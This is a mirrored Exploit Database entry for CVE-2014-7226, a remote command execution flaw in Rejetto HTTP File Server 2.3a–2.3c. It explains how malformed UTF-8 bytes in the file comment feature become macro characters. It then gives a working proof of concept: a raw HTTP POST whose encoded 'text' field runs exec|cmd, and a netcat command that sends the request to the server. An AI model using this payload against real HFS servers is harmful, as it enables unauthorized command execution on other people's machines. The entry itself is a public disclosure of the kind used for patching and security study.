Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c – Remote Command Execution

• Exploit Database
• 121 阅读

• 作者： Daniele Linguaglossa
  日期： 2014-10-02
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/34852/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45

  ========================================================== HTTP File Server 2.3a - 2.3b - 2.3c Remote Command Execution   # Author : Daniele Linguaglossa # Date: 30/09/2014 # Remote: Yes # Vendor Homepage: http://rejetto.com/ # Software Link: http://downloads.sourceforge.net/hfs/hfs2.3c.src.zip # CVE: CVE-2014-7226 # Vendor Hompage: http://www.rejetto.com # Tested on: Windows 8 # Version: 2.3a - 2.3b - 2.3c   The latest HTTP File Server (2.3c and maybe prior too) was found to be vulnerable to a remote command execution in the file comment features , because the application did not properly validate uft-8 broken byte representation, in fact during parsing program won&apos;t notice that there are multiple invalid representation and when they are printed into the page will get replaced with one of these characters " { . | } "causing a macro to be executed. ========================================================== PoC ========================================================== bug-utf8.txt ========================================================== POST /upload/?mode=section&id=ajax.comment HTTP/1.1 Connection: Close Content-Type:application/x-www-form-urlencoded   text=%c1%bb%c0%aeexec%c1%bccmd%c0%ae%c1%bd&files=x ==========================================================   Copy the following on a file called bug-utf8.txt , then open hfs and add a folder called upload, it will ask if anyone should have upload permission click yes then with netcat do the following:   nc localhost 8080 < bug-utf8.txt   if everything was fine you should see a new command prompt being executed from hfs.   ========================================================== EOF